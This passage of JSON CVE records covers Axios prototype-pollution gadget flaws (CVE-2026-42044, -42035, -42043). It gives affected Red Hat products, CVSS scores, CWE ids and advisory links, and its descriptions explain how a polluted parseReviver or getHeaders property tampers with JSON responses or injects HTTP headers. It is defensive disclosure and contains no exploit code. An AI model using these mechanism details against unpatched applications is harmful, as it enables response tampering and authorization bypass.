"cpes": [
"cpe:/a:redhat:amq_streams:2.9::el9"
],
"defaultStatus": "affected",
"product": "Streams for Apache Kafka 2.9.4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.10::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.11::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.11",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.6::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.9::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "affected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "affected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:hummingbird:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Hardened Images",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-04-24T17:49:49.517Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as a Prototype Pollution \"Gadget\" attack, allows a remote attacker to subtly alter JSON API responses. By manipulating a specific function, an attacker can selectively modify data within these responses. This could lead to significant security breaches, including unauthorized privilege escalation, fraudulent balance manipulation, or bypassing critical authorization checks."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-915",
"description": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-03T12:04:49.241Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42044"
},
{
"name": "RHBZ#2461624",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461624"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42044.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25089"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24473"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24539"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25273"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21338"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20338"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25041"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21772"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20454"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16534"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16532"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16535"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16542"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22840"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22629"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21017"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24853"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19375"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22465"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23361"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26214"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26232"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26225"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24471"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24536"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25271"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17657"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17699"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19109"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:25089: HawtIO HawtIO 4.4.0"
},
{
"lang": "en",
"value": "RHSA-2026:24473: Network Observability (NETOBSERV) 1.12.0"
},
{
"lang": "en",
"value": "RHSA-2026:24539: Red Hat Advanced Cluster Management for Kubernetes 2.15"
},
{
"lang": "en",
"value": "RHSA-2026:25273: Red Hat Advanced Cluster Management for Kubernetes 2.16"
},
{
"lang": "en",
"value": "RHSA-2026:20889: Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"lang": "en",
"value": "RHSA-2026:20938: Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"lang": "en",
"value": "RHSA-2026:21338: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:33574: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:26234: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:20338: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:25041: Red Hat Migration Toolkit 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:21772: Red Hat OpenShift Dev Spaces 3.28"
},
{
"lang": "en",
"value": "RHSA-2026:20454: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:16534: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:16532: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:16535: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:16542: Red Hat OpenShift Service Mesh 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:22840: Red Hat Quay 3.10"
},
{
"lang": "en",
"value": "RHSA-2026:22629: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:21017: Red Hat Quay 3.14"
},
{
"lang": "en",
"value": "RHSA-2026:24853: Red Hat Quay 3.15"
},
{
"lang": "en",
"value": "RHSA-2026:19375: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:22465: Red Hat Quay 3.17"
},
{
"lang": "en",
"value": "RHSA-2026:23361: Red Hat Quay 3.9"
},
{
"lang": "en",
"value": "RHSA-2026:26214: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26232: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26225: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:24471: Red Hat Trusted Artifact Signer 1.3"
},
{
"lang": "en",
"value": "RHSA-2026:34608: Streams for Apache Kafka 2.9.4"
},
{
"lang": "en",
"value": "RHSA-2026:24536: multicluster engine for Kubernetes 2.10"
},
{
"lang": "en",
"value": "RHSA-2026:25271: multicluster engine for Kubernetes 2.11"
},
{
"lang": "en",
"value": "RHSA-2026:17657: multicluster engine for Kubernetes 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:17699: multicluster engine for Kubernetes 2.8"
},
{
"lang": "en",
"value": "RHSA-2026:19109: multicluster engine for Kubernetes 2.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-04-24T19:01:13.418Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-04-24T17:49:49.517Z",
"value": "Made public."
}
],
"title": "axios: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.2, he Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any Object.prototype pollution in the application\u0027s dependency tree to be escalated into surgical, invisible modification of all JSON API responses \u2014 including privilege escalation, balance manipulation, and authorization bypass. The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This vulnerability is fixed in 1.15.2."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-915",
"description": "CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T17:50:26.586Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
}
],
"source": {
"advisory": "GHSA-3w6x-2g7m-8v23",
"discovery": "UNKNOWN"
},
"title": "Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42044",
"datePublished": "2026-04-24T17:49:49.517Z",
"dateReserved": "2026-04-23T16:05:01.709Z",
"dateUpdated": "2026-07-03T12:04:49.241Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42035 (GCVE-0-2026-42035)
Vulnerability from cvelistv5 – Published: 2026-04-24 17:38 – Updated: 2026-04-25 03:55| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42035",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-24T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-25T03:55:59.169Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, a prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request. The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself \u2014 any prototype pollution primitive in any dependency in the application\u0027s dependency tree is sufficient to trigger this gadget. This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-113",
"description": "CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T17:38:07.752Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9"
}
],
"source": {
"advisory": "GHSA-6chq-wfr3-2hj9",
"discovery": "UNKNOWN"
},
"title": "Axios: Header Injection via Prototype Pollution"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42035",
"datePublished": "2026-04-24T17:38:07.752Z",
"dateReserved": "2026-04-23T16:05:01.708Z",
"dateUpdated": "2026-04-25T03:55:59.169Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42043 (GCVE-0-2026-42043)
Vulnerability from cvelistv5 – Published: 2026-04-24 17:54 – Updated: 2026-07-01 12:04| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42043",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-27T13:47:20.443878Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-27T13:47:24.724Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4.4::el9"
],
"defaultStatus": "affected",
"product": "HawtIO HawtIO 4.4.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.15::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8.6.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1.8::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Migration Toolkit 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.14::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.10::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.11::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.11",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.6::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.9::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
